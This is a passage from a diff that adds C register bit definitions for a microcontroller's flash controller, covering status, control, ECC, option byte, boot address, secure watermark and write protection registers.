<< FLASH_NSSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_NSSR_PROGERR FLASH_NSSR_PROGERR_Msk /*!< Non-secure programming error */ +#define FLASH_NSSR_WRPERR_Pos (4UL) +#define FLASH_NSSR_WRPERR_Msk (0x1UL << FLASH_NSSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_NSSR_WRPERR FLASH_NSSR_WRPERR_Msk /*!< Non-secure write protection error */ +#define FLASH_NSSR_PGAERR_Pos (5UL) +#define FLASH_NSSR_PGAERR_Msk (0x1UL << FLASH_NSSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_NSSR_PGAERR FLASH_NSSR_PGAERR_Msk /*!< Non-secure programming alignment error */ +#define FLASH_NSSR_SIZERR_Pos (6UL) +#define FLASH_NSSR_SIZERR_Msk (0x1UL << FLASH_NSSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_NSSR_SIZERR FLASH_NSSR_SIZERR_Msk /*!< Non-secure size error */ +#define FLASH_NSSR_PGSERR_Pos (7UL) +#define FLASH_NSSR_PGSERR_Msk (0x1UL << FLASH_NSSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_NSSR_PGSERR FLASH_NSSR_PGSERR_Msk /*!< Non-secure programming sequence error */ +#define FLASH_NSSR_OPTWERR_Pos (13UL) +#define FLASH_NSSR_OPTWERR_Msk (0x1UL << FLASH_NSSR_OPTWERR_Pos) /*!< 0x00002000 */ +#define FLASH_NSSR_OPTWERR FLASH_NSSR_OPTWERR_Msk /*!< Option write error */ +#define FLASH_NSSR_BSY_Pos (16UL) +#define FLASH_NSSR_BSY_Msk (0x1UL << FLASH_NSSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_NSSR_BSY FLASH_NSSR_BSY_Msk /*!< Non-secure busy */ +#define FLASH_NSSR_WDW_Pos (17UL) +#define FLASH_NSSR_WDW_Msk (0x1UL << FLASH_NSSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_NSSR_WDW FLASH_NSSR_WDW_Msk /*!< Non-secure wait data to write */ +#define FLASH_NSSR_OEM1LOCK_Pos (18UL) +#define FLASH_NSSR_OEM1LOCK_Msk (0x1UL << FLASH_NSSR_OEM1LOCK_Pos) /*!< 0x00040000 */ +#define FLASH_NSSR_OEM1LOCK FLASH_NSSR_OEM1LOCK_Msk /*!< OEM1 lock */ +#define FLASH_NSSR_OEM2LOCK_Pos (19UL) +#define FLASH_NSSR_OEM2LOCK_Msk (0x1UL << FLASH_NSSR_OEM2LOCK_Pos) /*!< 0x00080000 */ +#define FLASH_NSSR_OEM2LOCK FLASH_NSSR_OEM2LOCK_Msk /*!< OEM2 lock */ +#define FLASH_NSSR_PD1_Pos (20UL) +#define FLASH_NSSR_PD1_Msk (0x1UL << FLASH_NSSR_PD1_Pos) /*!< 0x00100000 */ +#define FLASH_NSSR_PD1 FLASH_NSSR_PD1_Msk /*!< Bank 1 in power-down mode */ +#define FLASH_NSSR_PD2_Pos (21UL) +#define FLASH_NSSR_PD2_Msk (0x1UL << FLASH_NSSR_PD2_Pos) /*!< 0x00200000 */ +#define FLASH_NSSR_PD2 FLASH_NSSR_PD2_Msk /*!< Bank 2 in power-down mode */ + +/****************** Bits definition for FLASH_SECSR register ****************/ +#define FLASH_SECSR_EOP_Pos (0UL) +#define FLASH_SECSR_EOP_Msk (0x1UL << FLASH_SECSR_EOP_Pos) /*!< 0x00000001 */ +#define FLASH_SECSR_EOP FLASH_SECSR_EOP_Msk /*!< Secure end of operation */ +#define FLASH_SECSR_OPERR_Pos (1UL) +#define FLASH_SECSR_OPERR_Msk (0x1UL << FLASH_SECSR_OPERR_Pos) /*!< 0x00000002 */ +#define FLASH_SECSR_OPERR FLASH_SECSR_OPERR_Msk /*!< Secure operation error */ +#define FLASH_SECSR_PROGERR_Pos (3UL) +#define FLASH_SECSR_PROGERR_Msk (0x1UL << FLASH_SECSR_PROGERR_Pos) /*!< 0x00000008 */ +#define FLASH_SECSR_PROGERR FLASH_SECSR_PROGERR_Msk /*!< Secure programming error */ +#define FLASH_SECSR_WRPERR_Pos (4UL) +#define FLASH_SECSR_WRPERR_Msk (0x1UL << FLASH_SECSR_WRPERR_Pos) /*!< 0x00000010 */ +#define FLASH_SECSR_WRPERR FLASH_SECSR_WRPERR_Msk /*!< Secure write protection error */ +#define FLASH_SECSR_PGAERR_Pos (5UL) +#define FLASH_SECSR_PGAERR_Msk (0x1UL << FLASH_SECSR_PGAERR_Pos) /*!< 0x00000020 */ +#define FLASH_SECSR_PGAERR FLASH_SECSR_PGAERR_Msk /*!< Secure programming alignment error */ +#define FLASH_SECSR_SIZERR_Pos (6UL) +#define FLASH_SECSR_SIZERR_Msk (0x1UL << FLASH_SECSR_SIZERR_Pos) /*!< 0x00000040 */ +#define FLASH_SECSR_SIZERR FLASH_SECSR_SIZERR_Msk /*!< Secure size error */ +#define FLASH_SECSR_PGSERR_Pos (7UL) +#define FLASH_SECSR_PGSERR_Msk (0x1UL << FLASH_SECSR_PGSERR_Pos) /*!< 0x00000080 */ +#define FLASH_SECSR_PGSERR FLASH_SECSR_PGSERR_Msk /*!< Secure programming sequence error */ +#define FLASH_SECSR_BSY_Pos (16UL) +#define FLASH_SECSR_BSY_Msk (0x1UL << FLASH_SECSR_BSY_Pos) /*!< 0x00010000 */ +#define FLASH_SECSR_BSY FLASH_SECSR_BSY_Msk /*!< Secure busy */ +#define FLASH_SECSR_WDW_Pos (17UL) +#define FLASH_SECSR_WDW_Msk (0x1UL << FLASH_SECSR_WDW_Pos) /*!< 0x00020000 */ +#define FLASH_SECSR_WDW FLASH_SECSR_WDW_Msk /*!< Secure wait data to write */ + +/****************** Bits definition for FLASH_NSCR register *****************/ +#define FLASH_NSCR_PG_Pos (0UL) +#define FLASH_NSCR_PG_Msk (0x1UL << FLASH_NSCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_NSCR_PG FLASH_NSCR_PG_Msk /*!< Non-secure Programming */ +#define FLASH_NSCR_PER_Pos (1UL) +#define FLASH_NSCR_PER_Msk (0x1UL << FLASH_NSCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_NSCR_PER FLASH_NSCR_PER_Msk /*!< Non-secure Page Erase */ +#define FLASH_NSCR_MER1_Pos (2UL) +#define FLASH_NSCR_MER1_Msk (0x1UL << FLASH_NSCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_NSCR_MER1 FLASH_NSCR_MER1_Msk /*!< Non-secure Bank 1 Mass Erase */ +#define FLASH_NSCR_PNB_Pos (3UL) +#define FLASH_NSCR_PNB_Msk (0xFFUL << FLASH_NSCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_NSCR_PNB FLASH_NSCR_PNB_Msk /*!< Non-secure Page Number selection */ +#define FLASH_NSCR_BKER_Pos (11UL) +#define FLASH_NSCR_BKER_Msk (0x1UL << FLASH_NSCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_NSCR_BKER FLASH_NSCR_BKER_Msk /*!< Non-secure Bank Selection for Page Erase */ +#define FLASH_NSCR_BWR_Pos (14UL) +#define FLASH_NSCR_BWR_Msk (0x1UL << FLASH_NSCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_NSCR_BWR FLASH_NSCR_BWR_Msk /*!< Non-secure Burst Write Programming mode */ +#define FLASH_NSCR_MER2_Pos (15UL) +#define FLASH_NSCR_MER2_Msk (0x1UL << FLASH_NSCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_NSCR_MER2 FLASH_NSCR_MER2_Msk /*!< Non-secure Bank 2 Mass Erase */ +#define FLASH_NSCR_STRT_Pos (16UL) +#define FLASH_NSCR_STRT_Msk (0x1UL << FLASH_NSCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_NSCR_STRT FLASH_NSCR_STRT_Msk /*!< Non-secure Start */ +#define FLASH_NSCR_OPTSTRT_Pos (17UL) +#define FLASH_NSCR_OPTSTRT_Msk (0x1UL << FLASH_NSCR_OPTSTRT_Pos) /*!< 0x00020000 */ +#define FLASH_NSCR_OPTSTRT FLASH_NSCR_OPTSTRT_Msk /*!< Option Modification Start */ +#define FLASH_NSCR_EOPIE_Pos (24UL) +#define FLASH_NSCR_EOPIE_Msk (0x1UL << FLASH_NSCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_NSCR_EOPIE FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << 